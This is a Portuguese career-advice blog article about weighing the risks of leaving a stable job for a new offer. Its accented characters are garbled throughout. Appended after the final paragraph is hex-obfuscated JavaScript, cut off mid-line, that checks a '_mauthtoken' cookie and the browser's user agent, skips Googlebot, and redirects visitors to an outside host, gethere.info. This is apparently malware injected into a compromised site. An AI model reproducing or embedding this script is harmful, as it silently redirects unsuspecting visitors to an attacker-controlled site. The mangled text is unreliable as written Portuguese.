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Avalie os riscos antes de mudar de emprego

Publicado por:
23 mar

03.111

NA?o Ai?? incomum uma situaAi??A?o onde o profissional estA? satisfeito com a empresa em que trabalha e o cargo corresponde Ai??s suas expectativas, mas se vA? encantado por uma proposta de emprego em outro local com salA?rio atraente e promessa de ascensA?o. No entanto, Ai?? preciso estar atento, pois um emprego Ai?? muito mais do que dinheiro no bolso.

Quando o profissional precisa fazer uma escolha entre a empresa onde tem um emprego estA?vel e satisfatA?rio e uma proposta diferente, Ai?? preciso que ele faAi??a, antes de tudo, uma avaliaAi??A?o mais aprofundada sobre as oportunidades e as ameaAi??as dessa nova realidade. NA?o se deve esquecer que uma escolha equivocada pode trazer sAi??rias complicaAi??Ai??es para a trajetA?ria profissional com impactos na vida pessoal.

Ai?? sempre bom considerar que a troca pode nA?o dar certo, seja porque o profissional corre o risco de se deparar com uma cultura organizacional ou modelo de gestA?o que nA?o seja aquilo que ele preza ou porque em um curto espaAi??o de tempo ele pode nA?o apresentar os resultados que a empresa esperava no momento da contrataAi??A?o. Pode acontecer, ainda, do projeto para o qual foi contratado nA?o avanAi??ar e ele acabar tendo que assumir outra funAi??A?o que nA?o era a desejada ou, o que Ai?? pior, ser dispensado.

TambAi??m Ai?? fundamental fazer uma anA?lise dos seus objetivos profissionais. Algumas pessoas querem subir de cargo, outras prezam por um salA?rio maior ou por mais qualidade de vida. Ou seja, tambAi??m nA?o vale a pena ficar preso na sua zona de conforto ou fazer do risco uma ameaAi??a tA?o grande que paralise diante de uma boa oportunidade de atingir algo que estava nos seus planos.

Enfim, sA?o estas questAi??es que devem ser analisadas antes de tomar qualquer decisA?o. Ai?? preciso estudar as situaAi??Ai??es e, avanAi??ando na direAi??A?o de mudar de emprego, Ai?? recomendA?vel que sejam feitos fazer alguns pactos com o novo empregador que permitam uma transiAi??A?o minimamente segura e satisfatA?ria para ambas as partes.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== 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